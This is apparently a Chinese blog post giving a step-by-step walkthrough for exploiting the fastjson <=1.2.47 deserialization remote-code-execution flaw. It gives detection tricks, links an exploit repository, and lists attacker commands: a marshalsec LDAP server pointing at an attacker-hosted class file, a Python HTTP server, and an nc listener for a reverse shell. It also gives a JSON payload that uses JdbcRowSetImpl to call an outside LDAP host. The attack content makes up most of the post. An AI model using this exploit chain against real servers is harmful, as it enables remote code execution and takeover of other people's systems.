fastjson<=1.2.47反序列化RCE漏洞

更新:2020_01_28

介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库。

漏洞原因: checkAutoType黑名单中可绕过

检测方法:

第一种:

json数据{"age":"25","name":"2"},回显正常

{"age":"25","name":"2""},多了一个双引号,回显报错

例如:多一个}也一样会报错

第二种:

fastjson 与 jackson区别,如果请求包中的 json 如下:

{"name":"S", "age":21}
追加一个随机 key ,修改 json
{"name":"S", "age":21,"zpchcbd":123}

这里 fastjson 是不会报错的, 但是Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多key,所以会报错,服务器的响应包中多少会有异常回显。


利用过程:

漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

攻击机器的java版本如下:

1、开始相应的服务:

ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机器的ip/#Exploit

http服务python -m http.server 8888

2、在攻击机上把Exploit.java编译好的Exploit.class字节码放在http服务的目录中

3、利用payload如下:

4、开启nc监听反弹:nc -lvvp 8888,反弹shell成功


注意点:

第一点:如下jdk版本不存在漏洞

原因:java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

第二点:Exploit.java漏洞利用文件最好用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

第三点:如果是json字符串中name字段存在反序列化的情况

{"id":"1","name":"wangwei"}

那么poc就是

{
"id":"1",
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"},
"x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":
"ldap://fatjaon.tuq75v.ceye.io",
"autoCommit":true
}
}

参考文章:https://xz.aliyun.com/t/7104

posted @   zpchcbd  阅读(2120)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示